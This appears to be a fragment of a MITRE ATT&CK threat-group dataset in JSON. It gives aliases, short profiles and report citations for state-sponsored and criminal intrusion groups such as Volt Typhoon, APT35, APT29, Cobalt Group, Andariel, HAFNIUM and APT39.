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            "description": "[Volt Typhoon](https://attack.mitre.org/groups/G1017) is a People's Republic of China (PRC) state-sponsored actor that has been active since at least 2021, primarily targeting critical infrastructure organizations in the US and its territories including Guam. [Volt Typhoon](https://attack.mitre.org/groups/G1017)'s targeting and pattern of behavior have been assessed as pre-positioning to enable lateral movement to operational technology (OT) assets for potential destructive or disruptive attacks. [Volt Typhoon](https://attack.mitre.org/groups/G1017) has emphasized stealth in operations using web shells, living-off-the-land (LOTL) binaries, hands on keyboard activities, and stolen credentials.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)(Citation: Microsoft Volt Typhoon May 2023)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023). The group has leveraged compromised SOHO routers to proxy command and control traffic and obscure its infrastructure, activity associated with the KV botnet.(Citation: DOJ KVBotnet 2024). \n\nReporting indicates a separate initial access cluster, SYLVANITE, has been observed exploiting internet-facing edge devices and transferring access to [Volt Typhoon](https://attack.mitre.org/groups/G1017), also tracked as VOLTZITE, for follow-on operations. (Citation: Dragos 2025 Year in Review)",
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                    "source_name": "Raspite",
                    "description": "(Citation: Dragos Raspite Aug 2018)"
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                    "description": "(Citation: Symantec Leafminer July 2018)"
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                    "source_name": "Dragos Raspite Aug 2018",
                    "description": "Dragos, Inc. (2018, August 2). RASPITE. Retrieved November 26, 2018.",
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            "description": "[Leafminer](https://attack.mitre.org/groups/G0077) is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017. (Citation: Symantec Leafminer July 2018)",
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                    "source_name": "Charming Kitten",
                    "description": "(Citation: ClearSky Charming Kitten Dec 2017)(Citation: Eweek Newscaster and Charming Kitten May 2014)(Citation: ClearSky Kittens Back 2 Oct 2019)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Proofpoint TA453 March 2021)(Citation: Check Point APT35 CharmPower January 2022)"
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                    "source_name": "APT35",
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                    "source_name": "Phosphorus",
                    "description": "(Citation: Microsoft Phosphorus Mar 2019)(Citation: Microsoft Phosphorus Oct 2020)(Citation: US District Court of DC Phosphorus Complaint 2019)(Citation: Certfa Charming Kitten January 2021)(Citation: Proofpoint TA453 March 2021)(Citation: Check Point APT35 CharmPower January 2022)"
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                    "source_name": "Mint Sandstorm",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
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                    "source_name": "TA453",
                    "description": "(Citation: Proofpoint TA453 March 2021)(Citation: Proofpoint TA453 July2021)(Citation: Check Point APT35 CharmPower January 2022)"
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                    "description": "(Citation: Unit 42 Magic Hound Feb 2017)"
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                    "source_name": "Microsoft Phosphorus Mar 2019",
                    "description": "Burt, T. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020.",
                    "url": "https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/"
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                    "source_name": "Microsoft Phosphorus Oct 2020",
                    "description": "Burt, T. (2020, October 28). Cyberattacks target international conference attendees. Retrieved March 8, 2021.",
                    "url": "https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/"
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                    "source_name": "Certfa Charming Kitten January 2021",
                    "description": "Certfa Labs. (2021, January 8). Charming Kitten\u2019s Christmas Gift. Retrieved May 3, 2021.",
                    "url": "https://blog.certfa.com/posts/charming-kitten-christmas-gift/"
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                    "source_name": "Check Point APT35 CharmPower January 2022",
                    "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022.",
                    "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/"
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                    "source_name": "ClearSky Kittens Back 2 Oct 2019",
                    "description": "ClearSky Research Team. (2019, October 1). The Kittens Are Back in Town2 - Charming Kitten Campaign KeepsGoing on, Using New Impersonation Methods. Retrieved April 21, 2021.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2019/10/The-Kittens-Are-Back-in-Town-2-1.pdf"
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                    "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf"
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                    "source_name": "Eweek Newscaster and Charming Kitten May 2014",
                    "description": "Kerner, S. (2014, May 29). Newscaster Threat Uses Social Media for Intelligence Gathering. Retrieved April 14, 2021.",
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                    "source_name": "FireEye APT35 2018",
                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved November 17, 2024.",
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                    "description": "Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021.",
                    "url": "https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/"
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            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, likely on behalf of the Islamic Revolutionary Guard Corps. They have targeted European, U.S., and Middle Eastern government and military personnel, academics, journalists, and organizations such as the World Health Organization (WHO), via complex social engineering campaigns since at least 2014.(Citation: FireEye APT35 2018)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Certfa Charming Kitten January 2021)(Citation: Secureworks COBALT ILLUSION Threat Profile)(Citation: Proofpoint TA453 July2021)",
            "aliases": [
                "Magic Hound",
                "TA453",
                "COBALT ILLUSION",
                "Charming Kitten",
                "ITG18",
                "Phosphorus",
                "Newscaster",
                "APT35",
                "Mint Sandstorm"
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                "Bryan Lee",
                "Daniyal Naeem, BT Security"
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            "type": "intrusion-set",
            "id": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "created": "2017-05-31T21:31:52.748Z",
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                    "url": "https://attack.mitre.org/groups/G0016",
                    "external_id": "G0016"
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                {
                    "source_name": "CozyDuke",
                    "description": "(Citation: Crowdstrike DNC June 2016)"
                },
                {
                    "source_name": "Cozy Bear",
                    "description": "(Citation: Crowdstrike DNC June 2016)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: CrowdStrike StellarParticle January 2022)"
                },
                {
                    "source_name": "The Dukes",
                    "description": "(Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)"
                },
                {
                    "source_name": "APT29",
                    "description": "(Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)"
                },
                {
                    "source_name": "UNC2452",
                    "description": "(Citation: FireEye SUNBURST Backdoor December 2020)"
                },
                {
                    "source_name": "UNC3524",
                    "description": "(Citation: Mandiant APT29 Eye Spy Email Nov 22)"
                },
                {
                    "source_name": "Midnight Blizzard",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
                },
                {
                    "source_name": "YTTRIUM",
                    "description": "(Citation: Microsoft Unidentified Dec 2018)"
                },
                {
                    "source_name": "NOBELIUM",
                    "description": "(Citation: MSTIC NOBELIUM Mar 2021)(Citation: MSTIC NOBELIUM May 2021)(Citation: MSTIC Nobelium Toolset May 2021)(Citation: MSRC Nobelium June 2021)"
                },
                {
                    "source_name": "Blue Kitsune",
                    "description": "(Citation: PWC WellMess July 2020)(Citation: PWC WellMess C2 August 2020)"
                },
                {
                    "source_name": "IRON HEMLOCK",
                    "description": "(Citation: Secureworks IRON HEMLOCK Profile)"
                },
                {
                    "source_name": "IRON RITUAL",
                    "description": "(Citation: Secureworks IRON RITUAL Profile)"
                },
                {
                    "source_name": "NobleBaron",
                    "description": "(Citation: SentinelOne NobleBaron June 2021)"
                },
                {
                    "source_name": "SolarStorm",
                    "description": "(Citation: Unit 42 SolarStorm December 2020)"
                },
                {
                    "source_name": "Dark Halo",
                    "description": "(Citation: Volexity SolarWinds)"
                },
                {
                    "source_name": "Crowdstrike DNC June 2016",
                    "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.",
                    "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
                },
                {
                    "source_name": "Volexity SolarWinds",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"
                },
                {
                    "source_name": "CrowdStrike SUNSPOT Implant January 2021",
                    "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.",
                    "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/"
                },
                {
                    "source_name": "CrowdStrike StellarParticle January 2022",
                    "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.",
                    "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"
                },
                {
                    "source_name": "GRIZZLY STEPPE JAR",
                    "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf"
                },
                {
                    "source_name": "FireEye APT29 Nov 2018",
                    "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html"
                },
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                },
                {
                    "source_name": "ESET Dukes October 2019",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"
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                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
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                    "source_name": "SentinelOne NobleBaron June 2021",
                    "description": "Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021.",
                    "url": "https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/"
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                {
                    "source_name": "Mandiant APT29 Eye Spy Email Nov 22",
                    "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"
                },
                {
                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"
                },
                {
                    "source_name": "Microsoft Unidentified Dec 2018",
                    "description": "Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.",
                    "url": "https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/"
                },
                {
                    "source_name": "MSTIC NOBELIUM May 2021",
                    "description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
                },
                {
                    "source_name": "MSRC Nobelium June 2021",
                    "description": "MSRC. (2021, June 25). New Nobelium activity. Retrieved August 4, 2021.",
                    "url": "https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/"
                },
                {
                    "source_name": "MSTIC Nobelium Toolset May 2021",
                    "description": "MSTIC. (2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
                },
                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"
                },
                {
                    "source_name": "NCSC APT29 July 2020",
                    "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020.",
                    "url": "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf"
                },
                {
                    "source_name": "Cybersecurity Advisory SVR TTP May 2021",
                    "description": "NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.",
                    "url": "https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf"
                },
                {
                    "source_name": "NSA Joint Advisory SVR SolarWinds April 2021",
                    "description": "NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021.",
                    "url": "https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF"
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                    "description": "PWC. (2020, August 17). WellMess malware: analysis of its Command and Control (C2) server. Retrieved September 29, 2020.",
                    "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html"
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                {
                    "source_name": "PWC WellMess July 2020",
                    "description": "PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020.",
                    "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html"
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                {
                    "source_name": "Secureworks IRON HEMLOCK Profile",
                    "description": "Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022.",
                    "url": "http://www.secureworks.com/research/threat-profiles/iron-hemlock"
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                {
                    "source_name": "Secureworks IRON RITUAL Profile",
                    "description": "Secureworks CTU. (n.d.). IRON RITUAL. Retrieved February 24, 2022.",
                    "url": "https://www.sophos.com/en-us/threat-profiles/iron-ritual"
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                {
                    "source_name": "UK Gov Malign RIS Activity April 2021",
                    "description": "UK Gov. (2021, April 15). UK and US expose global campaign of malign activity by Russian intelligence services . Retrieved April 16, 2021.",
                    "url": "https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services"
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                    "source_name": "UK Gov UK Exposes Russia SolarWinds April 2021",
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                    "source_name": "UK NSCS Russia SolarWinds April 2021",
                    "description": "UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021.",
                    "url": "https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise"
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                {
                    "source_name": "Unit 42 SolarStorm December 2020",
                    "description": "Unit 42. (2020, December 23). SolarStorm Supply Chain Attack Timeline. Retrieved March 24, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline/"
                },
                {
                    "source_name": "White House Imposing Costs RU Gov April 2021",
                    "description": "White House. (2021, April 15). Imposing Costs for Harmful Foreign Activities by the Russian Government. Retrieved April 16, 2021.",
                    "url": "https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/"
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                    "description": "Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022.",
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                    "description": "(Citation: Secureworks GOLD KINGSWOOD September 2018)"
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                {
                    "source_name": "Cobalt Gang",
                    "description": "(Citation: Talos Cobalt Group July 2018) (Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: Morphisec Cobalt Gang Oct 2018)"
                },
                {
                    "source_name": "Cobalt Group",
                    "description": "(Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018)"
                },
                {
                    "source_name": "Crowdstrike Global Threat Report Feb 2018",
                    "description": "CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.",
                    "url": "https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report"
                },
                {
                    "source_name": "Secureworks GOLD KINGSWOOD September 2018",
                    "description": "CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021.",
                    "url": "https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish"
                },
                {
                    "source_name": "Europol Cobalt Mar 2018",
                    "description": "Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018.",
                    "url": "https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain"
                },
                {
                    "source_name": "Morphisec Cobalt Gang Oct 2018",
                    "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.",
                    "url": "https://blog.morphisec.com/cobalt-gang-2.0"
                },
                {
                    "source_name": "RiskIQ Cobalt Nov 2017",
                    "description": "Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.",
                    "url": "https://web.archive.org/web/20190508170630/https://www.riskiq.com/blog/labs/cobalt-strike/"
                },
                {
                    "source_name": "RiskIQ Cobalt Jan 2018",
                    "description": "Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.",
                    "url": "https://web.archive.org/web/20190508170147/https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/"
                },
                {
                    "source_name": "Group IB Cobalt Aug 2017",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "url": "https://www.group-ib.com/blog/cobalt"
                },
                {
                    "source_name": "Proofpoint Cobalt June 2017",
                    "description": "Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target"
                },
                {
                    "source_name": "PTSecurity Cobalt Dec 2016",
                    "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.",
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"
                },
                {
                    "source_name": "PTSecurity Cobalt Group Aug 2017",
                    "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.",
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf"
                },
                {
                    "source_name": "Talos Cobalt Group July 2018",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"
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            "modified": "2025-04-16T20:37:34.214Z",
            "name": "Cobalt Group",
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions since at least 2016. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008).(Citation: Europol Cobalt Mar 2018)",
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            "modified": "2024-09-12T18:36:06.078Z",
            "name": "Andariel",
            "description": "[Andariel](https://attack.mitre.org/groups/G0138) is a North Korean state-sponsored threat group that has been active since at least 2009. [Andariel](https://attack.mitre.org/groups/G0138) has primarily focused its operations--which have included destructive attacks--against South Korean government agencies, military organizations, and a variety of domestic companies; they have also conducted cyber financial operations against ATMs, banks, and cryptocurrency exchanges. [Andariel](https://attack.mitre.org/groups/G0138)'s notable activity includes Operation Black Mine, Operation GoldenAxe, and Campaign Rifle.(Citation: FSI Andariel Campaign Rifle July 2017)(Citation: IssueMakersLab Andariel GoldenAxe May 2017)(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)(Citation: TrendMicro New Andariel Tactics July 2018)(Citation: CrowdStrike Silent Chollima Adversary September 2021)\n\n[Andariel](https://attack.mitre.org/groups/G0138) is considered a sub-set of [Lazarus Group](https://attack.mitre.org/groups/G0032), and has been attributed to North Korea's Reconnaissance General Bureau.(Citation: Treasury North Korean Cyber Groups September 2019)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.",
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                    "source_name": "Silent Chollima",
                    "description": "(Citation: CrowdStrike Silent Chollima Adversary September 2021)"
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                    "source_name": "Andariel",
                    "description": "(Citation: FSI Andariel Campaign Rifle July 2017)"
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                    "source_name": "PLUTONIUM",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
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                    "source_name": "Onyx Sleet",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
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                {
                    "source_name": "AhnLab Andariel Subgroup of Lazarus June 2018",
                    "description": "AhnLab. (2018, June 23). Targeted attacks by Andariel Threat Group,  a subgroup of the Lazarus. Retrieved September 29, 2021.",
                    "url": "https://web.archive.org/web/20230213154832/http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf"
                },
                {
                    "source_name": "TrendMicro New Andariel Tactics July 2018",
                    "description": "Chen, Joseph. (2018, July 16). New Andariel Reconnaissance Tactics Uncovered. Retrieved September 29, 2021.",
                    "url": "https://www.trendmicro.com/en_us/research/18/g/new-andariel-reconnaissance-tactics-hint-at-next-targets.html"
                },
                {
                    "source_name": "CrowdStrike Silent Chollima Adversary September 2021",
                    "description": "CrowdStrike. (2021, September 29). Silent Chollima Adversary Profile. Retrieved September 29, 2021.",
                    "url": "https://adversary.crowdstrike.com/en-US/adversary/silent-chollima/"
                },
                {
                    "source_name": "FSI Andariel Campaign Rifle July 2017",
                    "description": "FSI. (2017, July 27). Campaign Rifle - Andariel, the Maiden of Anguish. Retrieved September 12, 2024.",
                    "url": "https://fsiceat.tistory.com/2"
                },
                {
                    "source_name": "IssueMakersLab Andariel GoldenAxe May 2017",
                    "description": "IssueMakersLab. (2017, May 1). Operation GoldenAxe. Retrieved September 12, 2024.",
                    "url": "http://www.issuemakerslab.com/research3/"
                },
                {
                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"
                },
                {
                    "source_name": "Treasury North Korean Cyber Groups September 2019",
                    "description": "US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021.",
                    "url": "https://home.treasury.gov/news/press-releases/sm774"
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            "modified": "2025-03-25T18:04:13.368Z",
            "name": "HAFNIUM",
            "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) is a likely state-sponsored cyber espionage group operating out of China that has been active since at least January 2021. [HAFNIUM](https://attack.mitre.org/groups/G0125) primarily targets entities in the US across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs. [HAFNIUM](https://attack.mitre.org/groups/G0125) has targeted remote management tools and cloud software for intial access and has demonstrated an ability to quickly operationalize exploits for identified vulnerabilities in edge devices.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)(Citation: Microsoft Silk Typhoon MAR 2025)",
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                "Vinayak Wadhwa, SAFE Security"
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            "created": "2021-03-03T19:40:47.280Z",
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                {
                    "source_name": "Silk Typhoon",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Microsoft Silk Typhoon MAR 2025)"
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                    "source_name": "Operation Exchange Marauder",
                    "description": "(Citation: Volexity Exchange Marauder March 2021)"
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                    "source_name": "Volexity Exchange Marauder March 2021",
                    "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.",
                    "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
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                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"
                },
                {
                    "source_name": "Microsoft Silk Typhoon MAR 2025",
                    "description": "Microsoft Threat Intelligence . (2025, March 5). Silk Typhoon targeting IT supply chain. Retrieved March 20, 2025.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2025/03/05/silk-typhoon-targeting-it-supply-chain/"
                },
                {
                    "source_name": "Microsoft HAFNIUM March 2020",
                    "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
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            "modified": "2024-04-11T02:59:52.392Z",
            "name": "APT39",
            "description": "[APT39](https://attack.mitre.org/groups/G0087) is one of several names for cyber espionage activity conducted by the Iranian Ministry of Intelligence and Security (MOIS) through the front company Rana Intelligence Computing since at least 2014. [APT39](https://attack.mitre.org/groups/G0087) has primarily targeted the travel, hospitality, academic, and telecommunications industries in Iran and across Asia, Africa, Europe, and North America to track individuals and entities considered to be a threat by the MOIS.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)",
            "aliases": [
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            "created": "2019-02-19T16:01:38.585Z",
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                    "source_name": "Remix Kitten",
                    "description": "(Citation: Crowdstrike GTR2020 Mar 2020)"
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                    "source_name": "ITG07",
                    "description": "(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)"
                },
                {
                    "source_name": "APT39",
                    "description": "(Citation: FireEye APT39 Jan 2019)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)"
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                {
                    "source_name": "Chafer",
                    "description": "Activities associated with APT39 largely align with a group publicly referred to as Chafer.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: Dark Reading APT39 JAN 2019)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)"
                },
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                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"
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                {
                    "source_name": "Dept. of Treasury Iran Sanctions September 2020",
                    "description": "Dept. of Treasury. (2020, September 17). Treasury Sanctions Cyber Actors Backed by Iranian Intelligence. Retrieved December 10, 2020.",
                    "url": "https://home.treasury.gov/news/press-releases/sm1127"
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                {
                    "source_name": "DOJ Iran Indictments September 2020",
                    "description": "DOJ. (2020, September 17). Department of Justice and Partner Departments and Agencies Conduct Coordinated Actions to Disrupt and Deter Iranian Malicious Cyber Activities Targeting the United States and the Broader International Community. Retrieved December 10, 2020.",
                    "url": "https://www.justice.gov/opa/pr/department-justice-and-partner-departments-and-agencies-conduct-coordinated-actions-disrupt"
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                {
                    "source_name": "FBI FLASH APT39 September 2020",
                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020.",
                    "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf"
                },
                {
